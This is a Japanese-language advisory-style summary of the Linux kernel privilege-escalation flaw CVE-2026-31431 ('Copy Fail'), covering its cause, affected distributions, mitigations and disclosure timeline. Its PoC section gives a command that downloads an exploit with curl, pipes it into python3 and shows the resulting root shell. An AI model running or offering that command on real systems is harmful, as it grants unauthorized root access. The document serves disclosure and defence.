← 一覧に戻る

732バイトであらゆるLinuxを攻略:史詩級の脆弱性が約10年潜伏

itadol5j

Copy Fail脆弱性

🚨 史詩級の脆弱性:732バイトですべてのLinuxに有効、約10年間潜伏

「Copy Fail」と名付けられたLinuxカーネルの脆弱性(CVE-2026-31431)が公開されました:

  • 732バイトのPythonスクリプト
  • 100%の信頼性で、競合ウィンドウもカーネルオフセットも不要
  • すべてのLinuxディストリビューションに影響(2017年から現在まで)
  • コンテナ脱出プリミティブ、テナント間攻撃が可能
  • 約10年間潜伏し、2026年4月29日に公開された

同一のスクリプトがUbuntu、RHEL、Amazon Linux、SUSEのすべてで有効——修正不要。

🎯 脆弱性の核心

単一のロジック欠陥

Copy Fail は直線的なロジック欠陥:

  • 競合ウィンドウが不要:ほとんどのLinux LPEが必要とする競合状態が不要
  • カーネルオフセットが不要:カーネル固有のオフセット値を必要としない
  • 100%信頼できる:毎回成功する
  • 同一のスクリプト:すべてのディストリビューションで有効

脆弱性チェーン

Copy Fail の攻撃チェーン:

  • authencesn ロジックエラー:1つのロジックバグ
  • AF_ALG:カーネル crypto API 経由
  • splice():チェーン呼び出し
  • 4バイトの page-cache 書き込み:最終的な攻撃プリミティブ
  • 約10年間悪用可能:2017年からパッチ公開まで

📊 影響範囲

公式に検証されたディストリビューション

ディストリビューション カーネルバージョン 状態
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ 検証済み
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ 検証済み
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ 検証済み
SUSE 16 6.12.0-160000.9-default ✅ 検証済み

その他の影響を受けるディストリビューション

以下のディストリビューションも同様に影響を受けます:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • 組み込みLinux

結論:お使いのカーネルが2017年からパッチ適用までの間にビルドされたものであれば——影響を受けます。

💡 高リスクシナリオ

シナリオ リスク 影響
マルチテナントLinuxホスト 高 任意のユーザーが root になる
Kubernetes / コンテナクラスタ 高 コンテナ間・テナント間攻撃
CI Runner / Build Farm 高 PR が runner の root を奪取
クラウドSaaSでユーザーコードを実行 高 テナントが host root になる
標準的なLinuxサーバー 中 内部LPE、連鎖攻撃が可能
単一ユーザーのノートPC 低 ポストエクスプロイトの権限昇格ステップ

🔧 緩和策

方法1:カーネルの更新(推奨)

カーネルをmainline commit a664bf3d603dを含むバージョンに更新します:

  • 修正内容:2017年の algif_aead in-place 最適化を取り消し
  • 効果:page-cache ページが書き込み可能な destination scatterlist に出現しなくなる
  • 状態:ほとんどの主要ディストリビューションでパッチが公開済み

方法2:algif_aead モジュールの無効化(暫定)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

algif_aead を無効化した場合の影響

コンポーネント 影響
dm-crypt / LUKS 影響なし
kTLS / IPsec 影響なし
OpenSSL / SSH 影響なし
AF_ALG ユーザー空間 影響する可能性あり

結論:ほとんどのシステムでは、algif_aead を無効化しても顕著な影響はありません。

方法3:seccomp で AF_ALG をブロック

信頼できないワークロード(コンテナ、サンドボックス、CI)では、seccomp で AF_ALG ソケットの作成をブロックします:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC デモ

脆弱性の PoC は公開されており、defenders がシステムを検証できます:

クイック実行

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC の詳細

  • ファイルサイズ:732バイト
  • 言語:Python 3.10+ stdlib のみ(os, socket, zlib)
  • デフォルトターゲット:/usr/bin/su
  • SHA256:a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

警告:スクリプトは setuid バイナリの page cache を書き換えます。変更は再起動後には残りませんが、root シェルは本物です。本番環境では実行しないでください。

📅 公開タイムライン

日付 イベント
2026-03-23 Linux kernel security team へ報告
2026-03-24 初回確認
2026-03-25 パッチ提案とレビュー
2026-04-01 mainline へパッチ提出
2026-04-22 CVE-2026-31431 割り当て
2026-04-29 公開披露

🔍 発見者:Xint Code

この脆弱性をXint Codeが発見しました:

  • スキャン時間:約1時間でLinux crypto/ subsystem をスキャン
  • 発見方法:AI主導のコード監査
  • 完全な分析:root cause、diagrams、operator prompt
  • その他の発見:同時に他の重大度の高い脆弱性も発見、現在も調整的公開中

Xint Code の戦績

  • 0-day RCE:ZeroDay Cloud、データベースカテゴリを席巻(Redis、PostgreSQL、MariaDB)
  • DARPA AIxCC Top 3:DARPA AI Cyber Challenge ファイナリスト
  • DEF CON CTF 9回優勝:DEF CON CTF 史上最多優勝チーム

📝 まとめ

Copy Fail(CVE-2026-31431)は史詩級のLinuxカーネル脆弱性です:

  • 732バイトですべてのLinuxに有効(2017年から現在まで)
  • 100%信頼でき、単一のロジック欠陥
  • コンテナ脱出、テナント間攻撃
  • 約10年間潜伏し、2026年4月29日に公開
  • 高リスクシナリオ:マルチテナントホスト、コンテナクラスタ、CI Runner、SaaS
  • 緩和策:カーネル更新または algif_aead の無効化
  • 発見者:Xint Code、AI主導のコード監査

約10年潜伏した史詩級の脆弱性、1つのスクリプトですべてのLinuxに有効。

脆弱性公式サイト:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

技術分析:https://xint.io/blog/copy-fail-linux-distributions

カーネルパッチ:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5